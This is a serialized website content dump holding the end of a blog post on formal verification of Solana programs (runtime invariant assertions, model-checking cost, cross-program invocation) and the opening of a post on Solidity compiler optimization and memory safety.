hard_to_verify",{"type":21,"tag":198,"props":29097,"children":29098},{"style":211},[29099],{"type":27,"value":706},{"type":21,"tag":198,"props":29101,"children":29102},{"style":226},[29103],{"type":27,"value":21075},{"type":21,"tag":198,"props":29105,"children":29106},{"style":683},[29107],{"type":27,"value":185},{"type":21,"tag":198,"props":29109,"children":29110},{"style":1966},[29111],{"type":27,"value":21084},{"type":21,"tag":198,"props":29113,"children":29114},{"style":211},[29115],{"type":27,"value":3159},{"type":21,"tag":198,"props":29117,"children":29118},{"style":1966},[29119],{"type":27,"value":29120},"MyCtx",{"type":21,"tag":198,"props":29122,"children":29123},{"style":211},[29124],{"type":27,"value":21241},{"type":21,"tag":198,"props":29126,"children":29127},{"style":683},[29128],{"type":27,"value":14564},{"type":21,"tag":198,"props":29130,"children":29131},{"style":1966},[29132],{"type":27,"value":14569},{"type":21,"tag":198,"props":29134,"children":29135},{"style":211},[29136],{"type":27,"value":21126},{"type":21,"tag":198,"props":29138,"children":29139},{"class":200,"line":4569},[29140,29145,29149,29153,29158],{"type":21,"tag":198,"props":29141,"children":29142},{"style":698},[29143],{"type":27,"value":29144}," invoke_signed",{"type":21,"tag":198,"props":29146,"children":29147},{"style":211},[29148],{"type":27,"value":706},{"type":21,"tag":198,"props":29150,"children":29151},{"style":683},[29152],{"type":27,"value":10402},{"type":21,"tag":198,"props":29154,"children":29155},{"style":211},[29156],{"type":27,"value":29157},"); ",{"type":21,"tag":198,"props":29159,"children":29160},{"style":1233},[29161],{"type":27,"value":29162},"// Cross-program invocation\n",{"type":21,"tag":198,"props":29164,"children":29165},{"class":200,"line":4599},[29166],{"type":21,"tag":198,"props":29167,"children":29168},{"emptyLinePlaceholder":16},[29169],{"type":27,"value":1283},{"type":21,"tag":198,"props":29171,"children":29172},{"class":200,"line":4607},[29173,29177,29182,29186,29190,29194],{"type":21,"tag":198,"props":29174,"children":29175},{"style":249},[29176],{"type":27,"value":3809},{"type":21,"tag":198,"props":29178,"children":29179},{"style":226},[29180],{"type":27,"value":29181}," invoke_res",{"type":21,"tag":198,"props":29183,"children":29184},{"style":683},[29185],{"type":27,"value":979},{"type":21,"tag":198,"props":29187,"children":29188},{"style":683},[29189],{"type":27,"value":26104},{"type":21,"tag":198,"props":29191,"children":29192},{"style":211},[29193],{"type":27,"value":18028},{"type":21,"tag":198,"props":29195,"children":29196},{"style":1233},[29197],{"type":27,"value":29198},"// fetch result of invocation\n",{"type":21,"tag":198,"props":29200,"children":29201},{"class":200,"line":4638},[29202,29206,29210,29214,29219],{"type":21,"tag":198,"props":29203,"children":29204},{"style":640},[29205],{"type":27,"value":643},{"type":21,"tag":198,"props":29207,"children":29208},{"style":226},[29209],{"type":27,"value":29181},{"type":21,"tag":198,"props":29211,"children":29212},{"style":683},[29213],{"type":27,"value":4089},{"type":21,"tag":198,"props":29215,"children":29216},{"style":2540},[29217],{"type":27,"value":29218}," 5",{"type":21,"tag":198,"props":29220,"children":29221},{"style":211},[29222],{"type":27,"value":233},{"type":21,"tag":198,"props":29224,"children":29225},{"class":200,"line":4646},[29226,29230,29234,29239,29243,29248,29253],{"type":21,"tag":198,"props":29227,"children":29228},{"style":226},[29229],{"type":27,"value":26990},{"type":21,"tag":198,"props":29231,"children":29232},{"style":683},[29233],{"type":27,"value":658},{"type":21,"tag":198,"props":29235,"children":29236},{"style":211},[29237],{"type":27,"value":29238},"my_account",{"type":21,"tag":198,"props":29240,"children":29241},{"style":683},[29242],{"type":27,"value":658},{"type":21,"tag":198,"props":29244,"children":29245},{"style":698},[29246],{"type":27,"value":29247},"put_into_bad_state",{"type":21,"tag":198,"props":29249,"children":29250},{"style":211},[29251],{"type":27,"value":29252},"(); ",{"type":21,"tag":198,"props":29254,"children":29255},{"style":1233},[29256],{"type":27,"value":29257},"// corrupt our account\n",{"type":21,"tag":198,"props":29259,"children":29260},{"class":200,"line":4706},[29261],{"type":21,"tag":198,"props":29262,"children":29263},{"style":211},[29264],{"type":27,"value":880},{"type":21,"tag":198,"props":29266,"children":29267},{"class":200,"line":9857},[29268,29272],{"type":21,"tag":198,"props":29269,"children":29270},{"style":1966},[29271],{"type":27,"value":15138},{"type":21,"tag":198,"props":29273,"children":29274},{"style":211},[29275],{"type":27,"value":15143},{"type":21,"tag":198,"props":29277,"children":29278},{"class":200,"line":9875},[29279],{"type":21,"tag":198,"props":29280,"children":29281},{"style":211},[29282],{"type":27,"value":1120},{"type":21,"tag":30,"props":29284,"children":29285},{},[29286,29288,29293],{"type":27,"value":29287},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":21,"tag":194,"props":29289,"children":29291},{"className":29290},[],[29292],{"type":27,"value":29238},{"type":27,"value":29294},") will be maintained as long as the instruction succeeds.",{"type":21,"tag":30,"props":29296,"children":29297},{},[29298],{"type":27,"value":29299},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":21,"tag":30,"props":29301,"children":29302},{},[29303,29305,29310],{"type":27,"value":29304},"However, we can ",{"type":21,"tag":1671,"props":29306,"children":29307},{},[29308],{"type":27,"value":29309},"augment",{"type":27,"value":29311}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":21,"tag":30,"props":29313,"children":29314},{},[29315],{"type":27,"value":29316},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":21,"tag":187,"props":29318,"children":29320},{"code":29319,"language":3788,"meta":7,"className":3789,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n invoke_signed(...); // Cross-program invocation\n\n let invoke_res = ...; // fetch result of invocation\n if invoke_res == 5 {\n ctx.my_account.put_into_bad_state(); // corrupt our account\n }\n\n // Enforce invariants at runtime\n assert(ctx.my_account.invariant());\n\n Ok(())\n}\n",[29321],{"type":21,"tag":194,"props":29322,"children":29323},{"__ignoreMap":7},[29324,29332,29383,29406,29413,29440,29463,29494,29501,29508,29516,29551,29558,29569],{"type":21,"tag":198,"props":29325,"children":29326},{"class":200,"line":201},[29327],{"type":21,"tag":198,"props":29328,"children":29329},{"style":683},[29330],{"type":27,"value":29331},"...\n",{"type":21,"tag":198,"props":29333,"children":29334},{"class":200,"line":217},[29335,29339,29343,29347,29351,29355,29359,29363,29367,29371,29375,29379],{"type":21,"tag":198,"props":29336,"children":29337},{"style":249},[29338],{"type":27,"value":21061},{"type":21,"tag":198,"props":29340,"children":29341},{"style":698},[29342],{"type":27,"value":29095},{"type":21,"tag":198,"props":29344,"children":29345},{"style":211},[29346],{"type":27,"value":706},{"type":21,"tag":198,"props":29348,"children":29349},{"style":226},[29350],{"type":27,"value":21075},{"type":21,"tag":198,"props":29352,"children":29353},{"style":683},[29354],{"type":27,"value":185},{"type":21,"tag":198,"props":29356,"children":29357},{"style":1966},[29358],{"type":27,"value":21084},{"type":21,"tag":198,"props":29360,"children":29361},{"style":211},[29362],{"type":27,"value":3159},{"type":21,"tag":198,"props":29364,"children":29365},{"style":1966},[29366],{"type":27,"value":29120},{"type":21,"tag":198,"props":29368,"children":29369},{"style":211},[29370],{"type":27,"value":21241},{"type":21,"tag":198,"props":29372,"children":29373},{"style":683},[29374],{"type":27,"value":14564},{"type":21,"tag":198,"props":29376,"children":29377},{"style":1966},[29378],{"type":27,"value":14569},{"type":21,"tag":198,"props":29380,"children":29381},{"style":211},[29382],{"type":27,"value":21126},{"type":21,"tag":198,"props":29384,"children":29385},{"class":200,"line":236},[29386,29390,29394,29398,29402],{"type":21,"tag":198,"props":29387,"children":29388},{"style":698},[29389],{"type":27,"value":29144},{"type":21,"tag":198,"props":29391,"children":29392},{"style":211},[29393],{"type":27,"value":706},{"type":21,"tag":198,"props":29395,"children":29396},{"style":683},[29397],{"type":27,"value":10402},{"type":21,"tag":198,"props":29399,"children":29400},{"style":211},[29401],{"type":27,"value":29157},{"type":21,"tag":198,"props":29403,"children":29404},{"style":1233},[29405],{"type":27,"value":29162},{"type":21,"tag":198,"props":29407,"children":29408},{"class":200,"line":260},[29409],{"type":21,"tag":198,"props":29410,"children":29411},{"emptyLinePlaceholder":16},[29412],{"type":27,"value":1283},{"type":21,"tag":198,"props":29414,"children":29415},{"class":200,"line":281},[29416,29420,29424,29428,29432,29436],{"type":21,"tag":198,"props":29417,"children":29418},{"style":249},[29419],{"type":27,"value":3809},{"type":21,"tag":198,"props":29421,"children":29422},{"style":226},[29423],{"type":27,"value":29181},{"type":21,"tag":198,"props":29425,"children":29426},{"style":683},[29427],{"type":27,"value":979},{"type":21,"tag":198,"props":29429,"children":29430},{"style":683},[29431],{"type":27,"value":26104},{"type":21,"tag":198,"props":29433,"children":29434},{"style":211},[29435],{"type":27,"value":18028},{"type":21,"tag":198,"props":29437,"children":29438},{"style":1233},[29439],{"type":27,"value":29198},{"type":21,"tag":198,"props":29441,"children":29442},{"class":200,"line":302},[29443,29447,29451,29455,29459],{"type":21,"tag":198,"props":29444,"children":29445},{"style":640},[29446],{"type":27,"value":643},{"type":21,"tag":198,"props":29448,"children":29449},{"style":226},[29450],{"type":27,"value":29181},{"type":21,"tag":198,"props":29452,"children":29453},{"style":683},[29454],{"type":27,"value":4089},{"type":21,"tag":198,"props":29456,"children":29457},{"style":2540},[29458],{"type":27,"value":29218},{"type":21,"tag":198,"props":29460,"children":29461},{"style":211},[29462],{"type":27,"value":233},{"type":21,"tag":198,"props":29464,"children":29465},{"class":200,"line":323},[29466,29470,29474,29478,29482,29486,29490],{"type":21,"tag":198,"props":29467,"children":29468},{"style":226},[29469],{"type":27,"value":26990},{"type":21,"tag":198,"props":29471,"children":29472},{"style":683},[29473],{"type":27,"value":658},{"type":21,"tag":198,"props":29475,"children":29476},{"style":211},[29477],{"type":27,"value":29238},{"type":21,"tag":198,"props":29479,"children":29480},{"style":683},[29481],{"type":27,"value":658},{"type":21,"tag":198,"props":29483,"children":29484},{"style":698},[29485],{"type":27,"value":29247},{"type":21,"tag":198,"props":29487,"children":29488},{"style":211},[29489],{"type":27,"value":29252},{"type":21,"tag":198,"props":29491,"children":29492},{"style":1233},[29493],{"type":27,"value":29257},{"type":21,"tag":198,"props":29495,"children":29496},{"class":200,"line":344},[29497],{"type":21,"tag":198,"props":29498,"children":29499},{"style":211},[29500],{"type":27,"value":880},{"type":21,"tag":198,"props":29502,"children":29503},{"class":200,"line":365},[29504],{"type":21,"tag":198,"props":29505,"children":29506},{"emptyLinePlaceholder":16},[29507],{"type":27,"value":1283},{"type":21,"tag":198,"props":29509,"children":29510},{"class":200,"line":386},[29511],{"type":21,"tag":198,"props":29512,"children":29513},{"style":1233},[29514],{"type":27,"value":29515}," // Enforce invariants at runtime\n",{"type":21,"tag":198,"props":29517,"children":29518},{"class":200,"line":408},[29519,29523,29527,29531,29535,29539,29543,29547],{"type":21,"tag":198,"props":29520,"children":29521},{"style":698},[29522],{"type":27,"value":20034},{"type":21,"tag":198,"props":29524,"children":29525},{"style":211},[29526],{"type":27,"value":706},{"type":21,"tag":198,"props":29528,"children":29529},{"style":226},[29530],{"type":27,"value":21075},{"type":21,"tag":198,"props":29532,"children":29533},{"style":683},[29534],{"type":27,"value":658},{"type":21,"tag":198,"props":29536,"children":29537},{"style":211},[29538],{"type":27,"value":29238},{"type":21,"tag":198,"props":29540,"children":29541},{"style":683},[29542],{"type":27,"value":658},{"type":21,"tag":198,"props":29544,"children":29545},{"style":698},[29546],{"type":27,"value":22571},{"type":21,"tag":198,"props":29548,"children":29549},{"style":211},[29550],{"type":27,"value":16229},{"type":21,"tag":198,"props":29552,"children":29553},{"class":200,"line":429},[29554],{"type":21,"tag":198,"props":29555,"children":29556},{"emptyLinePlaceholder":16},[29557],{"type":27,"value":1283},{"type":21,"tag":198,"props":29559,"children":29560},{"class":200,"line":450},[29561,29565],{"type":21,"tag":198,"props":29562,"children":29563},{"style":1966},[29564],{"type":27,"value":15138},{"type":21,"tag":198,"props":29566,"children":29567},{"style":211},[29568],{"type":27,"value":15143},{"type":21,"tag":198,"props":29570,"children":29571},{"class":200,"line":468},[29572],{"type":21,"tag":198,"props":29573,"children":29574},{"style":211},[29575],{"type":27,"value":1120},{"type":21,"tag":30,"props":29577,"children":29578},{},[29579,29581,29586,29588,29593,29595,29600],{"type":27,"value":29580},"Here, we explicitly ",{"type":21,"tag":194,"props":29582,"children":29584},{"className":29583},[],[29585],{"type":27,"value":20778},{"type":27,"value":29587}," that our invariants hold at ",{"type":21,"tag":1671,"props":29589,"children":29590},{},[29591],{"type":27,"value":29592},"runtime",{"type":27,"value":29594}," which allows us to be assured that ",{"type":21,"tag":194,"props":29596,"children":29598},{"className":29597},[],[29599],{"type":27,"value":29238},{"type":27,"value":29601}," will not enter a bad state as a result of some unverifiable behavior.",{"type":21,"tag":30,"props":29603,"children":29604},{},[29605],{"type":27,"value":29606},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":21,"tag":22,"props":29608,"children":29610},{"id":29609},"challenges-of-formal-verification-on-solana",[29611],{"type":27,"value":29612},"Challenges of formal verification on Solana",{"type":21,"tag":59,"props":29614,"children":29616},{"id":29615},"expensive-computation",[29617],{"type":27,"value":29618},"Expensive computation",{"type":21,"tag":30,"props":29620,"children":29621},{},[29622,29624,29629],{"type":27,"value":29623},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":21,"tag":1671,"props":29625,"children":29626},{},[29627],{"type":27,"value":29628},"path explosion",{"type":27,"value":29630},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":21,"tag":30,"props":29632,"children":29633},{},[29634,29636,29641],{"type":27,"value":29635},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":21,"tag":1671,"props":29637,"children":29638},{},[29639],{"type":27,"value":29640},"formal verification friendly",{"type":27,"value":29642},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":21,"tag":30,"props":29644,"children":29645},{},[29646,29648,29653,29655,29660],{"type":27,"value":29647},"For example, when verifying things like the uniqueness of a ",{"type":21,"tag":194,"props":29649,"children":29651},{"className":29650},[],[29652],{"type":27,"value":22191},{"type":27,"value":29654}," in a ",{"type":21,"tag":194,"props":29656,"children":29658},{"className":29657},[],[29659],{"type":27,"value":18012},{"type":27,"value":29661},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":21,"tag":30,"props":29663,"children":29664},{},[29665,29667,29672,29674,29679,29681,29686,29688,29693,29695,29700,29702,29707],{"type":27,"value":29666},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":21,"tag":194,"props":29668,"children":29670},{"className":29669},[],[29671],{"type":27,"value":18012},{"type":27,"value":29673}," or a 32-byte ",{"type":21,"tag":194,"props":29675,"children":29677},{"className":29676},[],[29678],{"type":27,"value":22191},{"type":27,"value":29680},". Instead, our tool can substitute in ",{"type":21,"tag":1671,"props":29682,"children":29683},{},[29684],{"type":27,"value":29685},"cheaper",{"type":27,"value":29687}," types and functions, such as a 4-byte ",{"type":21,"tag":194,"props":29689,"children":29691},{"className":29690},[],[29692],{"type":27,"value":22191},{"type":27,"value":29694}," struct and a fixed-size, array-backed ",{"type":21,"tag":194,"props":29696,"children":29698},{"className":29697},[],[29699],{"type":27,"value":18012},{"type":27,"value":29701}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":21,"tag":1671,"props":29703,"children":29704},{},[29705],{"type":27,"value":29706},"much",{"type":27,"value":29708}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":21,"tag":30,"props":29710,"children":29711},{},[29712],{"type":27,"value":29713},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":21,"tag":59,"props":29715,"children":29717},{"id":29716},"runtime-environment",[29718],{"type":27,"value":29719},"Runtime Environment",{"type":21,"tag":30,"props":29721,"children":29722},{},[29723],{"type":27,"value":29724},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":21,"tag":30,"props":29726,"children":29727},{},[29728],{"type":27,"value":29729},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":21,"tag":30,"props":29731,"children":29732},{},[29733],{"type":27,"value":29734},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":21,"tag":22,"props":29736,"children":29737},{"id":3586},[29738],{"type":27,"value":3589},{"type":21,"tag":30,"props":29740,"children":29741},{},[29742],{"type":27,"value":29743},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":21,"tag":30,"props":29745,"children":29746},{},[29747],{"type":27,"value":29748},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":21,"tag":19590,"props":29750,"children":29751},{},[],{"type":21,"tag":30,"props":29753,"children":29754},{},[29755],{"type":21,"tag":1671,"props":29756,"children":29757},{},[29758,29760,29765,29766,29770],{"type":27,"value":29759},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":21,"tag":34,"props":29761,"children":29763},{"href":19673,"rel":29762},[38],[29764],{"type":27,"value":19677},{"type":27,"value":19679},{"type":21,"tag":34,"props":29767,"children":29768},{"href":19682},[29769],{"type":27,"value":19685},{"type":27,"value":658},{"type":21,"tag":3645,"props":29772,"children":29773},{},[29774],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":29776},[29777,29783,29787,29792,29798,29802],{"id":19746,"depth":217,"text":19749,"children":29778},[29779,29780,29781,29782],{"id":24,"depth":236,"text":28},{"id":19818,"depth":236,"text":19821},{"id":20698,"depth":236,"text":20701},{"id":20738,"depth":236,"text":20741},{"id":20791,"depth":217,"text":29784,"children":29785},"Specification: How can we describe what we want our program to do?",[29786],{"id":20905,"depth":236,"text":20908},{"id":22263,"depth":217,"text":22266,"children":29788},[29789,29790,29791],{"id":22940,"depth":236,"text":22943},{"id":23225,"depth":236,"text":23228},{"id":23369,"depth":236,"text":23372},{"id":23510,"depth":217,"text":23513,"children":29793},[29794,29795,29796,29797],{"id":23581,"depth":236,"text":23584},{"id":25443,"depth":236,"text":25446},{"id":26245,"depth":236,"text":23573},{"id":28769,"depth":236,"text":23578},{"id":29609,"depth":217,"text":29612,"children":29799},[29800,29801],{"id":29615,"depth":236,"text":29618},{"id":29716,"depth":236,"text":29719},{"id":3586,"depth":217,"text":3589},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":29807,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":29808,"description":29809,"author":6533,"image":29810,"date":29812,"isFeatured":16,"onBlogPage":16,"tags":29813,"body":29815,"_type":3671,"_id":31229,"_source":3673,"_file":31230,"_stem":31231,"_extension":3676},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":29811,"height":14430,"width":14430},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[5286,29814],"compiler",{"type":18,"children":29816,"toc":31220},[29817,29821,29857,29869,29875,29897,29910,30058,30079,30084,30105,30110,30118,30123,30128,30133,30139,30158,30163,30184,30247,30260,30290,30310,30337,30342,30355,30360,30365,30378,30409,30430,30584,30602,30653,30672,30697,30702,30708,30735,30755,30783,30788,30810,30829,30837,30848,30853,30869,31126,31134,31139,31143,31148,31153,31216],{"type":21,"tag":22,"props":29818,"children":29819},{"id":61},[29820],{"type":27,"value":64},{"type":21,"tag":30,"props":29822,"children":29823},{},[29824,29826,29832,29833,29837,29839,29846,29848,29855],{"type":27,"value":29825},"What does ",{"type":21,"tag":194,"props":29827,"children":29829},{"className":29828},[],[29830],{"type":27,"value":29831},"memory-safe",{"type":27,"value":915},{"type":21,"tag":1671,"props":29834,"children":29835},{},[29836],{"type":27,"value":10100},{"type":27,"value":29838}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":21,"tag":34,"props":29840,"children":29843},{"href":29841,"rel":29842},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[38],[29844],{"type":27,"value":29845},"presents some requirements",{"type":27,"value":29847},", but is production code that ",{"type":21,"tag":34,"props":29849,"children":29852},{"href":29850,"rel":29851},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[38],[29853],{"type":27,"value":29854},"violates these requirements",{"type":27,"value":29856}," necessarily unsafe?",{"type":21,"tag":30,"props":29858,"children":29859},{},[29860,29862,29867],{"type":27,"value":29861},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":21,"tag":1671,"props":29863,"children":29864},{},[29865],{"type":27,"value":29866},"memory-safety",{"type":27,"value":29868}," actually means.",{"type":21,"tag":22,"props":29870,"children":29872},{"id":29871},"compiler-pipeline",[29873],{"type":27,"value":29874},"Compiler Pipeline",{"type":21,"tag":30,"props":29876,"children":29877},{},[29878,29880,29887,29889,29896],{"type":27,"value":29879},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":21,"tag":34,"props":29881,"children":29884},{"href":29882,"rel":29883},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[38],[29885],{"type":27,"value":29886},"released in v0.8.13",{"type":27,"value":29888},". Compilation happens ",{"type":21,"tag":34,"props":29890,"children":29893},{"href":29891,"rel":29892},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[38],[29894],{"type":27,"value":29895},"in two main steps",{"type":27,"value":185},{"type":21,"tag":71,"props":29898,"children":29899},{},[29900,29905],{"type":21,"tag":75,"props":29901,"children":29902},{},[29903],{"type":27,"value":29904},"Solidity to YUL IR",{"type":21,"tag":75,"props":29906,"children":29907},{},[29908],{"type":27,"value":29909},"YUL IR to EVM opcodes",{"type":21,"tag":187,"props":29911,"children":29915},{"className":29912,"code":29913,"language":29914,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[29916],{"type":21,"tag":194,"props":29917,"children":29918},{"__ignoreMap":7},[29919,29949,29970,29982,29990,30002,30022,30030,30051],{"type":21,"tag":198,"props":29920,"children":29921},{"class":200,"line":201},[29922,29926,29931,29935,29940,29944],{"type":21,"tag":198,"props":29923,"children":29924},{"style":640},[29925],{"type":27,"value":643},{"type":21,"tag":198,"props":29927,"children":29928},{"style":211},[29929],{"type":27,"value":29930}," (m_viaIR ",{"type":21,"tag":198,"props":29932,"children":29933},{"style":683},[29934],{"type":27,"value":23212},{"type":21,"tag":198,"props":29936,"children":29937},{"style":211},[29938],{"type":27,"value":29939}," m_generateIR ",{"type":21,"tag":198,"props":29941,"children":29942},{"style":683},[29943],{"type":27,"value":23212},{"type":21,"tag":198,"props":29945,"children":29946},{"style":211},[29947],{"type":27,"value":29948}," m_generateEwasm)\n",{"type":21,"tag":198,"props":29950,"children":29951},{"class":200,"line":217},[29952,29957,29961,29965],{"type":21,"tag":198,"props":29953,"children":29954},{"style":698},[29955],{"type":27,"value":29956}," generateIR",{"type":21,"tag":198,"props":29958,"children":29959},{"style":211},[29960],{"type":27,"value":706},{"type":21,"tag":198,"props":29962,"children":29963},{"style":683},[29964],{"type":27,"value":5383},{"type":21,"tag":198,"props":29966,"children":29967},{"style":211},[29968],{"type":27,"value":29969},"contract);\n",{"type":21,"tag":198,"props":29971,"children":29972},{"class":200,"line":236},[29973,29977],{"type":21,"tag":198,"props":29974,"children":29975},{"style":640},[29976],{"type":27,"value":643},{"type":21,"tag":198,"props":29978,"children":29979},{"style":211},[29980],{"type":27,"value":29981}," (m_generateEvmBytecode)\n",{"type":21,"tag":198,"props":29983,"children":29984},{"class":200,"line":260},[29985],{"type":21,"tag":198,"props":29986,"children":29987},{"style":211},[29988],{"type":27,"value":29989}," {\n",{"type":21,"tag":198,"props":29991,"children":29992},{"class":200,"line":281},[29993,29997],{"type":21,"tag":198,"props":29994,"children":29995},{"style":640},[29996],{"type":27,"value":4079},{"type":21,"tag":198,"props":29998,"children":29999},{"style":211},[30000],{"type":27,"value":30001}," (m_viaIR)\n",{"type":21,"tag":198,"props":30003,"children":30004},{"class":200,"line":302},[30005,30010,30014,30018],{"type":21,"tag":198,"props":30006,"children":30007},{"style":698},[30008],{"type":27,"value":30009}," generateEVMFromIR",{"type":21,"tag":198,"props":30011,"children":30012},{"style":211},[30013],{"type":27,"value":706},{"type":21,"tag":198,"props":30015,"children":30016},{"style":683},[30017],{"type":27,"value":5383},{"type":21,"tag":198,"props":30019,"children":30020},{"style":211},[30021],{"type":27,"value":29969},{"type":21,"tag":198,"props":30023,"children":30024},{"class":200,"line":323},[30025],{"type":21,"tag":198,"props":30026,"children":30027},{"style":640},[30028],{"type":27,"value":30029}," else\n",{"type":21,"tag":198,"props":30031,"children":30032},{"class":200,"line":344},[30033,30038,30042,30046],{"type":21,"tag":198,"props":30034,"children":30035},{"style":698},[30036],{"type":27,"value":30037}," compileContract",{"type":21,"tag":198,"props":30039,"children":30040},{"style":211},[30041],{"type":27,"value":706},{"type":21,"tag":198,"props":30043,"children":30044},{"style":683},[30045],{"type":27,"value":5383},{"type":21,"tag":198,"props":30047,"children":30048},{"style":211},[30049],{"type":27,"value":30050},"contract, otherCompilers);\n",{"type":21,"tag":198,"props":30052,"children":30053},{"class":200,"line":365},[30054],{"type":21,"tag":198,"props":30055,"children":30056},{"style":211},[30057],{"type":27,"value":880},{"type":21,"tag":30,"props":30059,"children":30060},{},[30061,30063,30070,30071,30078],{"type":27,"value":30062},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":21,"tag":34,"props":30064,"children":30067},{"href":30065,"rel":30066},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[38],[30068],{"type":27,"value":30069},"YulStack::optimize",{"type":27,"value":11801},{"type":21,"tag":34,"props":30072,"children":30075},{"href":30073,"rel":30074},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[38],[30076],{"type":27,"value":30077},"Assembly::optimize",{"type":27,"value":658},{"type":21,"tag":30,"props":30080,"children":30081},{},[30082],{"type":27,"value":30083},"In total, there are four steps.",{"type":21,"tag":71,"props":30085,"children":30086},{},[30087,30091,30096,30100],{"type":21,"tag":75,"props":30088,"children":30089},{},[30090],{"type":27,"value":29904},{"type":21,"tag":75,"props":30092,"children":30093},{},[30094],{"type":27,"value":30095},"Optimization of YUL IR",{"type":21,"tag":75,"props":30097,"children":30098},{},[30099],{"type":27,"value":29909},{"type":21,"tag":75,"props":30101,"children":30102},{},[30103],{"type":27,"value":30104},"Optimization of EVM opcodes",{"type":21,"tag":30,"props":30106,"children":30107},{},[30108],{"type":27,"value":30109},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":21,"tag":3741,"props":30111,"children":30112},{},[30113],{"type":21,"tag":30,"props":30114,"children":30115},{},[30116],{"type":27,"value":30117},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":21,"tag":30,"props":30119,"children":30120},{},[30121],{"type":27,"value":30122},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":21,"tag":30,"props":30124,"children":30125},{},[30126],{"type":27,"value":30127},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":21,"tag":30,"props":30129,"children":30130},{},[30131],{"type":27,"value":30132},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":21,"tag":22,"props":30134,"children":30136},{"id":30135},"guarantees",[30137],{"type":27,"value":30138},"Guarantees",{"type":21,"tag":30,"props":30140,"children":30141},{},[30142,30143,30150,30152,30157],{"type":27,"value":534},{"type":21,"tag":34,"props":30144,"children":30147},{"href":30145,"rel":30146},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[38],[30148],{"type":27,"value":30149},"Solidity memory layout",{"type":27,"value":30151}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":21,"tag":1671,"props":30153,"children":30154},{},[30155],{"type":27,"value":30156},"no information about this layout",{"type":27,"value":658},{"type":21,"tag":30,"props":30159,"children":30160},{},[30161],{"type":27,"value":30162},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":21,"tag":30,"props":30164,"children":30165},{},[30166,30168,30174,30176,30182],{"type":27,"value":30167},"Introducing 